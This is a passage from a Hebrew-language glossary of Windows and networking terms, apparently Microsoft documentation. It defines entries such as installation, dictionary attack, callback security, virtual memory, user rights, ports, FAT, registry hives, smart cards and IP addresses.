‫לייצר אותם לטובת התקני הכנס‪-‬הפעל‪ .‬התקנים מסוג הכנס‪-‬הפעל מתאימים בדרך כלל לציוד‬
‫ישן‪.‬‬

‫ראה גם‪ :‬הכנס‪-‬הפעל; התקן‬

‫התקנה‬

‫ביחס לתוכנה‪ ,‬הוספת קבצי תוכניות ותיקיות לדיסק הקשיח והוספת נתונים קרובים לרישום כדי‬
‫שהתוכנה תפעל כהלכה‪ .‬התקנה שונה משדרוג‪ ,‬שבו קבצי תוכניות‪ ,‬תיקיות וערכי רישום קיימים‬
‫עוברים עדכון לגירסה מתקדמת יותר‪.‬‬

‫ביחס לחומרה‪ ,‬חיבור פיזי של התקן למחשב‪ ,‬טעינת מנהלי התקנים למחשב וקביעת מאפיינים‬
‫והגדרות של התקנים‪.‬‬

‫ראה גם‪ :‬הסרת התקנה; מנהל התקן; רישום‬

‫התקפה מילונית‬

‫שיטה לניחוש הסיסמה או מספר הזיהוי האישי (‪ )PIN‬של משתמש על‪-‬ידי ניסיון להשתמש בכל‬
‫מילה במילון עד להצלחה‪.‬‬

‫התקשרות חזרה לפי גורם קורא‬

‫בהתקשרויות רשת‪ ,‬צורה של התקשרות חזרה שבה המשתמש מספק את מספר הטלפון בו שרת‬
‫הגישה מרחוק משתמש להתקשרות חזרה‪ .‬הגדרה זו חוסכת מהמשתמש חיובי טלפון עבור‬
‫שיחות מרוחקות‪.‬‬

‫ראה גם‪ :‬מחובר‪ ,‬משתמש מאומת‬

‫‪439‬‬
‫התקשרות חזרה קבועה מראש‬

‫צורת אבטחה שבה שרת גישה מרחוק מאמת משתמשים על‪-‬ידי התקשרות חזרה אליהם‬
‫במספרים הניתנים על‪-‬ידי מנהל הרשת בעת הענקת הרשאות משתמש‪ .‬רק מנהל רשת רשאי‬
‫לשנות מספר של התקשרות חזרה קבועה מראש‪ .‬הדבר מבטיח שאף אדם לא יעתיק סיסמת‬
‫משתמש ויתחבר לשרת ממיקום שאינו המיקום הרגיל של המשתמש‪.‬‬

‫ראה גם‪ :‬מחובר‪ ,‬משתמש מאומת‬

‫התקשרות חיוג‬

‫החיבור אל הרשת שלך בעת שימוש בהתקן המשתמש ברשת הטלפון‪ .‬התקן כזה עשוי לכלול‬
‫מודמים עם קו טלפון סטנדרטי‪ ,‬כרטיסי ‪ ISDN‬עם קווי ‪ ISDN‬מהיר או רשתות ‪.X.25‬‬

‫אם אתה משתמש רגיל‪ ,‬עשויות להיות לך התקשרות חיוג אחת או שתיים‪ ,‬לאינטרנט ולרשת‬
‫החברה שלך‪ ,‬למשל‪ .‬במצב שרת מורכב יותר‪ ,‬ייתכן כי נעשה שימוש בחיבורים מרובים של‬
‫מודם רשת על‪-‬מנת ליישם ניתוב מתקדם‪.‬‬

‫ראה גם‪ :‬מודם (‪ = modulator/demodulator‬מאפנן‪/‬ממצה אפנון); רשת דיגיטלית של‬


‫שירותים משולבים (‪)ISDN‬‬

‫ו‬
‫אין במילון מונחים המתחילים באות זו‪.‬‬

‫ז‬
‫זוגיות‬

‫ערך מחושב המשמש לבנייה מחדש של נתונים לאחר כשל‪ .‬אמצעי אחסון מסוג ‪RAID-5‬‬
‫מפצלים נתונים וזוגיות לסירוגין על‪-‬פני מערכת דיסקים‪ .‬כאשר נוצר כשל בדיסק‪ ,‬מספר‬
‫מערכות הפעלה של שרת משתמשות במידע הזוגיות יחד עם המידע בדיסקים התקינים לשם‬
‫יצירה מחדש של הנתונים בדיסק עם הכשל‪.‬‬

‫ראה גם‪ :‬אמצעי אחסון מסוג ‪RAID-5‬‬

‫זיהוי שמות‬

‫תהליך שבו תוכנה מתרגמת שמות הקלים לעבודה עבור משתמשים לכתובות ‪ IP‬מספריות‪,‬‬
‫שאינן נוחות עבור משתמשים אך נחוצות עבור תקשורת ‪ .TCP/IP‬ניתן לספק זיהוי שמות‬
‫באמצעות רכיבי תוכנה כגון ‪ DNS‬או ‪.WINS‬‬

‫ראה גם‪Transmission Control Protocol/Internet ;)DNS( Domain Name System :‬‬


‫‪)TCP/IP( Protocol‬‬

‫זיכרון‬

‫באופן כללי‪ ,‬האחסון המהיר המוליך למחצה (‪ )RAM‬המחובר ישירות למעבד וזקוק למתח‬
‫חשמלי כדי לפעול‪ .‬בדרך כלל ההבדלה היא בין הזיכרון לאמצעי אחסון במחשב (לדוגמה‪,‬‬

‫‪440‬‬
‫דיסקים קשיחים‪ ,‬תקליטונים ותקליטורים) שאינו תלוי בחשמל ולכן מהווה אמצעי קבוע יותר‬
‫לשמירת מידע‪.‬‬

‫זיכרון ‪EMS‬‬

‫סוג של זיכרון שניתן להוסיף למחשבים אישיים של ‪ .IBM‬השימוש בזיכרון ‪ EMS‬מוגדר על‪-‬‬
‫ידי ‪ ,)EMS( Expanded Memory Specification‬התומך בכרטיסי זיכרון המכילים ‪,RAM‬‬
‫שניתן להפוך אותו לזמין או ללא זמין באמצעות תוכנה‪.‬‬

‫ראה גם‪ :‬זיכרון ‪XMS‬‬

‫זיכרון ‪XMS‬‬

‫זיכרון מעבר למגה‪-‬בית אחד במחשבי ‪ 80486 ,80386 ,80286‬ו‪.Pentium -‬‬

‫ראה גם‪ :‬זיכרון ‪EMS‬‬

‫זיכרון גישה אקראית )‪(RAM‬‬

‫זיכרון שניתן לקרוא ממנו או לכתוב אליו באמצעות מחשב או התקנים אחרים‪ .‬מידע המאוחסן‬
‫ב‪ RAM -‬אובד עם כיבוי המחשב‪.‬‬

‫ראה גם‪ :‬זיכרון וירטואלי‬

‫זיכרון וירטואלי‬

‫מקום אחסון זמני המשמש מחשב להפעלת תוכניות המצריכות זיכרון רב יותר מזה שיש לו‪.‬‬
‫לדוגמה‪ ,‬לתוכניות עשויה להיות גישה ל‪ 4 -‬ג'יגה‪-‬בתים של זיכרון וירטואלי בדיסק קשיח של‬
‫מחשב‪ ,‬גם אם למחשב יש רק ‪ 32‬מגה‪-‬בתים של ‪ RAM‬בלבד‪ .‬נתוני התוכנית שאינם נכנסים‬
‫באותו רגע לזיכרון של המחשב נשמרים בקבצי החלפה‪.‬‬

‫ראה גם‪ :‬גודל זיכרון וירטואלי; זיכרון מדפסת וירטואלי; קובץ החלפה‬

‫זיכרון מדפסת וירטואלי‬

‫במדפסת ‪ ,PostScript‬חלק בזיכרון בו מאוחסן מידע אודות גופנים‪ .‬הזיכרון במדפסות‬


‫‪ PostScript‬מחולק לשני אזורים‪ :‬זיכרון מאוגד וזיכרון וירטואלי‪ .‬הזיכרון המאוגד מכיל‬
‫גרפיקה ומידע אודות פריסת עמוד הנחוץ לשם הדפסת המסמכים שלך‪ .‬הזיכרון הוורטואלי מכיל‬
‫כל מידע אודות גופנים הנשלח למדפסת בעת הדפסת מסמך או בעת טעינת גופנים‪.‬‬

‫ראה גם‪ :‬זיכרון וירטואלי; מדפסת ‪PostScript‬‬

‫זכויות משתמש‬

‫משימות שמשתמש רשאי לבצע במערכת מחשב או בקבוצת מחשבים‪ .‬ישנן זכויות משתמש‬
‫משני סוגים‪ :‬הרשאות וזכויות כניסה‪ .‬הזכות לכבות את המערכת היא דוגמה להרשאה‪ .‬הזכות‬
‫להיכנס למחשב באופן מקומי היא דוגמה לזכות כניסה‪ .‬שני הסוגים מוקצים על‪-‬ידי מנהלים‬
‫לקבוצות או למשתמשים בודדים כחלק מהגדרות האבטחה עבור המחשב‪.‬‬

‫‪441‬‬
‫ראה גם‪ :‬הרשאה; מנהל; קבוצה; קבוצת מחשבים‬

‫זקיף צליל‬

‫תכונה של ‪ Windows‬המפיקה אות חזותי‪ ,‬כגון הבזק מסך או פס כותרת מהבהב‪ ,‬בכל פעם‬
‫שהמחשב משמיע צליל מערכת‪.‬‬

‫ח‬
‫חבילה‬

‫סמל המייצג מידע מוטבע או מקושר‪ .‬מידע זה עשוי להיות מורכב מקובץ שלם‪ ,‬כגון מפת סיביות‬
‫של צייר‪ ,‬או חלק מקובץ‪ ,‬כגון תא בגיליון אלקטרוני‪ .‬כאשר החבילה נבחרת‪ ,‬היישום ששימש‬
‫ליצירת האובייקט משמיע את האובייקט (אם המדובר‪ ,‬לדוגמה‪ ,‬בקובץ צליל) או פותח את‬
‫האובייקט ומציג אותו‪ .‬אם תשנה את המידע המקורי‪ ,‬המידע המקושר יעודכן אוטומטית‪ .‬עם‬
‫זאת‪ ,‬עליך לעדכן ידנית מידע מוטבע‪.‬‬

‫ראה גם‪ ;OLE :‬אובייקט מוטבע; אובייקט מקושר‬

‫חברות בקבוצות‬

‫הקבוצות שאליהן משתייך חשבון משתמש‪ .‬הרשאות וזכויות שהוענקו לקבוצה ניתנות גם‬
‫לחברים בה‪ .‬במרבית המקרים‪ ,‬הפעולות שמשתמש יכול לבצע ב‪ Windows -‬נקבעות על‪-‬ידי‬
‫הקבוצות שחשבון המשתמש חבר בהן ושבהן המשתמש עובד באותו רגע‪.‬‬

‫ראה גם‪ :‬חשבון משתמש; קבוצה‬

‫חדות גבוהה‬

‫תכונת תצוגה המורה לתוכניות לשנות את ערכת הצבעים לערכה בעלת חדות גבוהה ולהגביר את‬
‫הקריאות בכל מקום שניתן‪.‬‬

‫חומרה‬

‫הרכיבים הפיזיים של מערכת מחשב‪ ,‬כולל כל ציוד היקפי כגון התקני מדפסות‪ ,‬מודמים ועכבר‪.‬‬

‫חותמת זמן‬

‫אישור באמצעות ספק חיצוני מהימן המציין שהודעה מסוימת היתה קיימת בשעה ובתאריך‬
‫ספציפיים‪ .‬בהקשר דיגיטלי‪ ,‬ספקים חיצוניים מהימנים יוצרים חותמת זמן מהימנה עבור הודעה‬
‫נתונה על‪-‬ידי צירוף ערך זמן להודעה באמצעות שירות יצירת חותמות זמן ולאחר מכן הטבעת‬
‫חתימה דיגיטלית על התוצאה‪.‬‬

‫ראה גם‪ :‬חתימה דיגיטלית; שירות‬

‫חיבור‬

‫רשת פרטית המחברת צמתים באשכול‪.‬‬

‫‪442‬‬
‫חיבור בפס רחב‬

‫חיבור במהירות גבוהה‪ .‬חיבורים בפס רחב הם בדרך כלל במהירות של ‪ 256‬קילו‪-‬בתים בשניה‬
‫(‪ )KBps‬או מהירים יותר‪ .‬פס רחב כולל את טכנולוגיית ‪ DSL‬ושירותי מודם כבלים‪.‬‬

‫חיבור כבל ישיר‬

‫קישור בין יציאות קלט‪/‬פלט של שני מחשבים שנוצר באמצעות כבל יחיד ולא באמצעות מודם‬
‫או התקנים מגשרים אחרים‪ .‬במרבית המקרים‪ ,‬חיבור כבל ישיר נוצר באמצעות כבל מודם מסוג‬
‫‪.null‬‬

‫ראה גם‪ :‬יציאת קלט‪/‬פלט (‪ ;)I/O‬כבל מודם מסוג ‪Null‬‬

‫חיוג מרובה קישורים‬

‫השילוב של רוחב הפס של שני קישורי תקשורת פיזיים או יותר לקישור לוגי יחיד לשם הגדלת‬
‫רוחב הפס והתפוקה של הגישה מרחוק באמצעות ‪ Multilink‬לגישה מרחוק‪,Multilink .‬‬
‫המבוסס על תקן ‪ RFC )IETF( Internet Engineering Task Force‬שמספרו ‪ ,1990‬משלב‬
‫נתיבי מודם אנלוגיים‪ ,‬ערוצי‪ B-‬של ‪ ISDN‬וקישורי תקשורת דיגיטליים ואנלוגיים מעורבים הן‬
‫במחשב הלקוח והן במחשב השרת‪ .‬הדבר מגביר את מהירות הגישה שלך לאינטרנט ולאינטרא‪-‬‬
‫נט ומצמצם את כמות הזמן בה אתה מחובר למחשב מרוחק‪.‬‬

‫ראה גם‪ :‬רוחב פס; רשת דיגיטלית של שירותים משולבים (‪)ISDN‬‬

‫חילוץ‬

‫בעת חילוץ קובץ‪ ,‬עותק לא מכווץ של הקובץ הנוצר בתיקיה שציינת‪ .‬הקובץ המקורי נשאר‬
‫בתיקיה המכווצת‪.‬‬

‫חלון‬

‫חלק מהמסך בו ניתן להפעיל תוכניות ותהליכים‪ .‬באפשרותך לפתוח מספר חלונות בו‪-‬זמנית‪.‬‬
‫לדוגמה‪ ,‬באפשרותך לפתוח את הדואר האלקטרוני שלך בחלון אחד‪ ,‬לעבוד על תקציב בגיליון‬
‫אלקטרוני בחלון שני‪ ,‬לטעון תמונות מהמצלמה הדיגיטלית שלך בחלון שלישי ולהזמין את‬
‫המצרכים השבועיים שלך באינטרנט בחלון רביעי‪ .‬ניתן לסגור חלונות‪ ,‬לשנות את גודלם‪,‬‬
‫להזיזם‪ ,‬למזער אותם ללחצן בשורת המשימות או להגדיל אותם כך שיתפסו את המסך כולו‪.‬‬

‫חלון המדפסת‬

‫חלון המדפסת‪ ,‬הקרוי גם תצוגת התור‪ ,‬מציג מידע אודות משימות הדפסה בהמתנה עבור‬
‫המדפסת‪ .‬עבור כל מדפסת שהתקנת או כל מדפסת שאתה מחובר אליה‪ ,‬באפשרותך לקבל מידע‬
‫כגון מספר המסמכים הממתינים להדפסה‪ ,‬זהות הבעלים שלהם והגודל שלהם‪.‬‬

‫ראה גם‪ :‬משימת הדפסה‬

‫חלון שורת הפקודה‬

‫חלון המוצג על שולחן העבודה המשמש כממשק לעבודה עם מערכת ההפעלה ‪.MS-DOS‬‬
‫פקודות ‪ MS-DOS‬מוקלדות בנקודת כניסה המצוינת על‪-‬ידי סמן מהבהב‪.‬‬

‫‪443‬‬
‫ראה גם‪)Microsoft Disk Operating System( MS-DOS :‬‬

‫חריץ הרחבה ‪ISA‬‬

‫שקע לחיבור התקן היקפי שתוכנן עבור ‪ ,)ISA( Industry Standard Architecture‬הממוקם‬
‫בלוח האם של מחשב‪.‬‬

‫חריץ הרחבה של ‪PCI‬‬

‫‪ Socket‬חיבור עבור התקן היקפי המיועד לאפיק המקומי ‪Peripheral Component‬‬


‫‪ )PCI( Interconnect‬בלוח אם של מחשב‪.‬‬

‫חשבון משתמש‬

‫רשומה המורכבת מכל המידע המגדיר משתמש ב‪ .Windows -‬מידע זה כולל את שם המשתמש‬
‫והסיסמה הנחוצים למשתמש כדי לבצע כניסה‪ ,‬הקבוצות שבהן לחשבון המשתמש יש חברות‬
‫והזכויות וההרשאות שיש למשתמש לשימוש במחשב וברשת ולקבלת גישה למשאבים שלהם‪.‬‬
‫ב‪ Windows Professional -‬ושרתים חברים‪ ,‬חשבונות משתמשים מנוהלים באמצעות‬
‫משתמשים וקבוצות מקומיים‪ .‬בבקרי קבוצות מחשבים של ‪ ,Windows Server‬חשבונות‬
‫משתמשים מנוהלים באמצעות משתמשים ומחשבים של ‪.Microsoft Active Directory‬‬

‫ראה גם‪ :‬הרשאה; משאב; משתמשים ומחשבים של ‪ ;Active Directory‬סיסמה; קבוצה; שם‬
‫משתמש‬

‫חשבון קבוצה‬

‫אוסף של חשבונות משתמשים‪ .‬על‪-‬ידי צירוף חשבון משתמש כחבר בקבוצה‪ ,‬באפשרותך‬
‫להעניק למשתמש את כל הזכויות וההרשאות שהוענקו לקבוצה‪.‬‬

‫ראה גם‪ :‬חשבון משתמש; קבוצה‬

‫חתימה דיגיטלית‬

‫אמצעי המשמש יוצרים של הודעה‪ ,‬קובץ או מידע אחר שקודד דיגיטלית‪ ,‬לשם קשירת זהותם‬
‫למידע‪ .‬התהליך של חתימת מידע באופן דיגיטלי כרוך בהמרת המידע‪ ,‬וכן מידע סודי המוחזק‬
‫בידי השולח‪ ,‬לתג המכונה חתימה‪ .‬חתימות דיגיטליות משמשות בסביבות מפתחות ציבוריים והן‬
‫מספקות שירותי אמינות ומניעת דחייה‪.‬‬

‫ראה גם‪ :‬חותמת זמן; שירות‬

‫ט‬
‫טבלת מיקומי קבצים )‪(FAT‬‬

‫מערכת קבצים הנמצאת בשימוש ב‪ MS-DOS -‬ובמערכות הפעלה אחרות המבוססות על‬
‫‪ Windows‬לשם ארגון וניהול קבצים‪ .‬טבלת מיקומי הקבצים (‪ )FAT‬היא מבנה נתונים הנוצר‬
‫על‪-‬ידי ‪ Windows‬בעת אתחול אמצעי אחסון באמצעות מערכות הקבצים ‪ FAT‬או ‪.FAT32‬‬
‫‪ Windows‬מאחסן מידע אודות כל קובץ ב‪ FAT -‬כדי שיהיה ניתן לאחזר את הקובץ מאוחר‬
‫יותר‪.‬‬

‫‪444‬‬
‫ראה גם‪ ;FAT32 :‬מערכת קבצים; מערכת קבצים של ‪NTFS‬‬

‫טבלת קבצים ראשית )‪(MFT‬‬

‫קובץ מערכת ‪ NTFS‬באמצעי אחסון שאותחלו באמצעות ‪ NTFS‬המכיל מידע אודות כל קובץ‬
‫ותיקיה באמצעי האחסון‪ .‬ה‪ MFT -‬הוא הקובץ הראשון באמצעי אחסון של ‪.NTFS‬‬

‫ראה גם‪ :‬אמצעי אחסון; טבלת מיקומי קבצים (‪ ;)FAT‬מערכת קבצים של ‪NTFS‬‬

‫טווח שמות‬

‫קבוצה של שמות ייחודיים עבור משאבים או פריטים בסביבת מיחשוב משותפת‪.‬‬

‫עבור ‪ ,)MMC( Microsoft Management Console‬טווח השמות מיוצג באמצעות עץ‬


‫המסוף‪ ,‬בו מוצגים כל יישומי ה‪ Snap-in -‬והמשאבים הנגישים למסוף‪.‬‬

‫עבור ‪ ,)DNS( Domain Name System‬טווח השמות הוא המבנה ההירארכי או האנכי של‬
‫עץ שם קבוצת המחשבים‪ .‬לדוגמה‪ ,‬כל אחת מתוויות קבוצת המחשבים‪ ,‬כגון ‪ host1‬או‬
‫‪ ,example‬המשמשות בשם קבוצת מחשבים מלא‪ ,‬כגון ‪,host1.example.microsoft.com‬‬
‫מציינות ענף בעץ טווח השמות של קבוצת המחשבים‪.‬‬

‫ראה גם‪ ;)DNS( Domain Name System :‬יישום ‪ ;Snap-in‬משאב; עץ מסוף; תווית‬

‫טווח שמות של תחום‬

‫מבנה מסד הנתונים המשמש את ‪.)DNS( Domain Name System‬‬

‫ראה גם‪)DNS( Domain Name System :‬‬

‫טופולוגיה‬

‫ב‪ ,Windows -‬הקשרים בקבוצה של רכיבי רשת‪ .‬בהקשר של שכפול ‪,Active Directory‬‬
‫טופולוגיה מתייחסת למערכת ההתקשרויות בהן בקרי קבוצות מחשבים משתמשים לשם שכפול‬
‫מידע ביניהם‪.‬‬

‫ראה גם‪ ;Active Directory :‬שכפול‬

‫טעינה‬

‫הצבת קלטת או דיסק נשלפים בכונן‪.‬‬

‫ראה גם‪ :‬ביטול טעינה; כונן נטען; ספריה‬

‫טקסט רגיל‬

‫נתונים שאינם מוצפנים‪ .‬לעיתים קרוי גם טקסט נקי‪.‬‬

‫‪445‬‬
‫טרנזקציה‬

‫עבור ניהול תורי הודעות‪ ,‬ההצמדה של שתי פעולות או יותר המבוצעות יחדיו כפעולה יחידה;‬
‫הפעולה מתבצעת בהצלחה או נכשלת כמכלול‪ .‬שימוש במתאם הטרנזקציות המבוזרות של‬
‫‪ )MS DTC( Microsoft‬מבטיח שכל הפעולות יבוצעו בהצלחה או שאף אחת מהן לא תבוצע‪.‬‬

‫ראה גם‪ :‬הודעת טרנזקציה; ניהול תורי הודעות; תור הודעות טרנזקציה שלא נמסרו‬

‫י‬
‫יחידת הקצאה‬

‫שטח הדיסק הקטן ביותר שניתן להקצות לשם אחסון קובץ‪ .‬כל מערכות הקבצים בהן משתמש‬
‫‪ Windows‬מארגנות את הדיסקים הקשיחים לפי יחידות הקצאה‪ .‬ככל שגודל יחידת ההקצאה‬
‫קטן יותר‪ ,‬כך הדיסק מאחסן את המידע בצורה יעילה יותר‪ .‬אם לא תציין גודל יחידת הקצאה‬
‫בעת אתחול הדיסק‪ Windows ,‬בוחר בגדלי ברירת מחדל המבוססים על גודלו של אמצעי‬
‫האחסון‪ .‬גדלי ברירת מחדל אלה נבחרים על מנת להקטין את כמות השטח המבוזבז ואת מידת‬
‫הפיצול באמצעי האחסון‪ .‬יחידת הקצאה מכונה גם אשכול‪.‬‬

‫ראה גם‪ :‬אמצעי אחסון; מערכת קבצים‬

‫יחסי אמון‬

‫קשר לוגי שנוצר בין קבוצות מחשבים כדי לאפשר אימות מעבר‪ ,‬בו קבוצת מחשבים הנותנת‬
‫אמון מקיימת את אימותי הכניסה של קבוצת מחשבים מהימנה‪ .‬חשבונות משתמשים וקבוצות‬
‫כלליות המוגדרות בקבוצת מחשבים מהימנה רשאיות לקבל זכויות והרשאות בקבוצת מחשבים‬
‫הנתונת אמון‪ ,‬אף על פי שהקבוצות או חשבונות המשתמשים אינם קיימים בספריה של קבוצת‬
‫המחשבים הנותנת אמון‪.‬‬

‫ראה גם‪ :‬אימות; הרשאה; חשבון משתמש; קבוצה; קבוצה כללית; קבוצת מחשבים‬

‫יישום ‪Snap-in‬‬

‫סוג של כלי שבאפשרותך להוסיף למסוף הנתמך על‪-‬ידי ‪Microsoft Management Console‬‬
‫(‪ .)MMC‬יישום ‪ Snap-in‬עצמאי ניתן להוספה בפני עצמו; יישום ‪ Snap-in‬של הרחבה ניתן‬
‫להוספה רק לשם הרחבת התפקוד של יישום ‪ Snap-in‬אחר‪.‬‬

‫יציאה‬

‫נקודת התקשרות במחשב בה ניתן לחבר התקנים שמעבירים נתונים למחשב וממנו‪ .‬לדוגמה‪,‬‬
‫מדפסת מחוברת בדרך כלל ליציאה מקבילית (הקרויה גם יציאת ‪ ,)LPT‬ומודם מחובר בדרך‬
‫כלל ליציאה טורית (הקרויה גם יציאת ‪.)COM‬‬

‫ראה גם‪ :‬אפיק טורי אוניברסלי (‪ ;)USB‬יציאה טורית‬

‫יציאה טורית‬

‫ממשק במחשב המאפשר שידור אסינכרוני של תווי נתונים סיבית אחר סיבית‪ .‬קרוי גם יציאת‬
‫תקשורת או יציאת ‪.COM‬‬

‫‪446‬‬
‫ראה גם‪ :‬יציאה; יציאת תקשורת‬

‫יציאה מקבילית‬

‫מחבר הקלט‪/‬פלט עבור התקן ממשק מקביל‪ .‬מדפסות מחוברות לרוב ליציאה מקבילית‪.‬‬

‫ראה גם‪ :‬יציאה טורית‬

‫יציאת ‪IEEE 1394‬‬

‫יציאות התומכות בתקע בעל ‪ 6‬פינים שגודלו ‪ 11‬מ"מ על ‪ 5.4‬מ"מ או תקע בעל ‪ 4‬פינים שגודלו‬
‫‪ 5.35‬מ"מ על ‪ 3.45‬מ"מ‪.‬‬

‫יציאת ‪USB‬‬

‫ממשק במחשב המאפשר לך להתחבר להתקן אפיק טורי אוניברסלי (‪ USB .)USB‬הוא תקן‬
‫אפיק חיצוני המאפשר קצב העברת נתונים של ‪ 12( 12 Mbps‬מיליון סיביות בשניה)‪ .‬יציאות‬
‫‪ USB‬תומכות בתקע בגודל ‪ 7‬מ"מ ‪ 1 x‬מ"מ בקירוב‪.‬‬

‫ראה גם‪ :‬אפיק טורי אוניברסלי (‪)USB‬‬

‫יציאת אינפרא‪-‬אדום‬

‫יציאה אופטית במחשב המאפשרת קיום תקשורת עם מחשבים או התקנים אחרים באמצעות אור‬
‫אינפרא‪-‬אדום‪ ,‬ללא כבלים‪ .‬ניתן למצוא יציאות אינפרא‪-‬אדום בסוגים מסוימים של מחשבים‬
‫נישאים‪ ,‬מדפסות ומצלמות‪.‬‬

‫ראה גם‪ :‬אינפרא‪-‬אדום (‪ ;)IR‬התקן אינפרא‪-‬אדום; יציאה‬

‫יציאת משחקים‬

‫מחבר קלט‪/‬פלט שבאמצעותו ניתן לחבר ג'ויסטיק או התקן משחק אחר למחשב‪ .‬היציאה היא‬
‫בדרך כלל ‪ Socket‬בן ‪ 15‬פינים בגב ה‪.PC -‬‬

‫ראה גם‪ :‬יציאה טורית‬

‫יציאת קלט‪/‬פלט )‪(I/O‬‬

‫ערוץ שדרכו מועברים נתונים בין התקן למיקרו‪-‬מעבד‪ .‬היציאה נראית למיקרו‪-‬מעבד ככתובת‬
‫זיכרון אחת או יותר הניתנת לשימוש לשם שליחה או קבלה של נתונים‪.‬‬

‫ראה גם‪ :‬התקן; יציאה; כתובת זיכרון‬

‫יציאת תקשורת‬

‫יציאה במחשב המאפשרת תקשורת אסינכרונית של בית אחד בכל פעם‪ .‬יציאת תקשורת מכונה‬
‫גם יציאה טורית‪.‬‬

‫ראה גם‪ :‬יציאה טורית‬

‫‪447‬‬
‫כ‬
‫כבל מודם מסוג ‪Null‬‬

‫כבל מיוחד המבטל את הצורך של המודם בתקשורת אסינכרונית בין שני מחשבים על‪-‬פני‬
‫מרחקים קצרים‪ .‬כבל מודם מסוג ‪ Null‬מחקה תקשורת מודם‪.‬‬

‫ראה גם‪ :‬מודם (‪ = modulator/demodulator‬מאפנן‪/‬ממצה אפנון)‬

‫כוורת )‪(Hive‬‬

‫מקטע ברישום המופיע כקובץ בדיסק הקשיח‪ .‬עץ המשנה של הרישום מחולק לכוורות‬
‫(הנקראות כך בגלל דמיונן למבנה התאי של כוורת דבורים)‪ .‬כוורת היא גוף בדיד של מפתחות‪,‬‬
‫מפתחות משנה וערכים הנמצא בבסיס ההירארכיה של הרישום‪ .‬כוורת מגובה על‪-‬ידי קובץ יחיד‬
‫וקובץ ‪ ,.log‬הנמצאים בתיקיה ‪ systemroot\System32\Config‬או בתיקיה ‪systemroot\Pr‬‬
‫‪.ofiles\username‬‬

‫כברירת מחדל‪ ,‬מרבית קבצי הכוורת (‪ Security ,SAM ,Default‬ו‪ )System -‬מאוחסנים‬
‫בתיקיה ‪ .systemroot\System32\Config‬התיקיה ‪ systemroot\Profiles‬מכילה את פרופיל‬
‫המשתמש של כל משתמש במחשב‪ .‬מאחר שכוורת היא קובץ‪ ,‬ניתן להעביר אותה ממערכת אחת‬
‫לשנייה‪ .‬עם זאת‪ ,‬עליך להשתמש בעורך הרישום כדי לערוך את הקובץ‪.‬‬

‫ראה גם‪ ;systemroot :‬מפתח; רישום‬

‫כונן‬

‫אזור אחסון המאותחל עם מערכת קבצים ובעל אות כונן‪ .‬אמצעי האחסון עשוי להיות תקליטון‪,‬‬
‫תקליטור‪ ,‬דיסק קשיח או סוג אחר של דיסק‪ .‬באפשרותך להציג את תוכנו של כונן על‪-‬ידי לחיצה‬
‫על הסמל שלו בסייר ‪ Windows‬או במחשב שלי‪.‬‬

‫ראה גם‪ :‬אות כונן; אמצעי אחסון; מערכת קבצים‬

‫כונן לוגי‬

‫אמצעי אחסון שבאפשרותך ליצור במחיצה מורחבת בדיסק בסיסי של רשומת אתחול ראשית (‬
‫‪ .)MBR‬כוננים לוגיים דומים למחיצות ראשיות‪ ,‬פרט לכך שקיימת הגבלה של ארבע מחיצות‬
‫ראשיות בדיסק‪ ,‬בעוד שמספר הכוננים הלוגיים שבאפשרותך ליצור בדיסק הוא בלתי מוגבל‪.‬‬
‫ניתן לאתחל כונן לוגי ולהקצות לו אות כונן‪.‬‬

‫ראה גם‪ :‬אות כונן; אמצעי אחסון; אמצעי אחסון בסיסי; דיסק בסיסי; מחיצה מורחבת; מחיצה‬
‫ראשית; רשומת אתחול ראשית (‪)MBR‬‬

‫כונן נטען‬

‫כונן המוצמד לתיקיה ריקה באמצעי אחסון מסוג ‪ .NTFS‬כוננים נטענים פועלים באופן זהה לכל‬
‫כונן אחר‪ ,‬אך מוקצים להם תווית או שם במקום אות כונן‪ .‬שם הכונן הנטען מזוהה כנתיב‬
‫מערכת קבצים שלם ולא כאות כונן בלבד‪ .‬חברים בקבוצה ‪ Administrators‬רשאים להשתמש‬
‫בניהול דיסקים ליצירת כוננים נשלפים או להקצאה מחדש של אותיות כונן‪.‬‬

‫‪448‬‬
‫ראה גם‪ :‬אמצעי אחסון; טעינה; כונן; מערכת קבצים של ‪NTFS‬‬

‫כרטיס ‪PC‬‬

‫התקן נשלף‪ ,‬בערך בגודל כרטיס אשראי‪ ,‬שניתן להכניסו לחריץ ‪Personal Computer‬‬
‫‪ )Memory Card International Association )PCMCIA‬במחשב נישא‪ .‬התקני‬
‫‪ PCMCIA‬עשויים לכלול התקני מודם‪ ,‬כרטיסי רשת וכוננים קשיחים‪.‬‬

‫ראה גם‪ :‬מודם (‪ = modulator/demodulator‬מאפנן‪/‬ממצה אפנון)‬

‫כרטיס חכם‬

‫התקן בגודל כרטיס אשראי המשמש עם קוד גישה כדי לאפשר אימות מבוסס‪-‬אישור והתחברות‬
‫יחידה לארגון‪ .‬בכרטיסים חכמים מאוחסנים באופן מאובטח אישורים‪ ,‬מפתחות ציבוריים‬
‫ופרטיים‪ ,‬סיסמאות וסוגים אחרים של מידע אישי‪ .‬קורא כרטיס חכם המחובר למחשב קורא את‬
‫הכרטיס החכם‪.‬‬

‫ראה גם‪ :‬אימות; התחברות יחידה; קורא כרטיס חכם‬

‫כרטיס קול‬

‫כרטיס הרחבה מסייע עבור מחשבים אישיים המאפשר הקלטה והשמעה של צלילים‪.‬‬

‫כרטיסיה‬

‫חלק מתיבת דו‪-‬שיח הדומה לפנקס או למחיצה של תיקיה ומספק יכולת ניווט בין מקטעי מידע‬
‫שונים בתיבת הדו‪-‬שיח‪.‬‬

‫כתובת ‪IP‬‬

‫כתובת באורך ‪ 32‬סיביות המשמשת לזיהוי צומת ברשת ‪ .IP‬לכל צומת ברשת ‪ IP‬יש להקצות‬
‫כתובת ‪ IP‬ייחודית המורכבת ממזהה הרשת וממזהה ייחודי של מחשב מארח‪ .‬כתובת זו מיוצגת‬
‫בדרך כלל באמצעות הערך העשרוני של כל שמיניה‪ ,‬כאשר הערכים מופרדים באמצעות נקודות‬
‫(לדוגמה‪ .)192.168.7.27 ,‬בגירסה זו של ‪ ,Windows‬באפשרותך להגדיר את כתובת ה‪IP -‬‬
‫באופן סטטי או דינאמי באמצעות ‪.DHCP‬‬

‫ראה גם‪)DHCP( Dynamic Host Configuration Protocol :‬‬

‫כתובת ‪ IP‬וירטואלית‬

‫כתובת ‪ IP‬המשותפת בין המחשבים המארחים של אשכול איזון עומס ברשת‪ .‬אשכול איזון עומס‬
‫ברשת עשוי להשתמש גם במספר כתובות ‪ IP‬וירטואליות ‪ -‬לדוגמה‪ ,‬באשכול של שרתי אינטרנט‬
‫מרובי חיבורים‪.‬‬

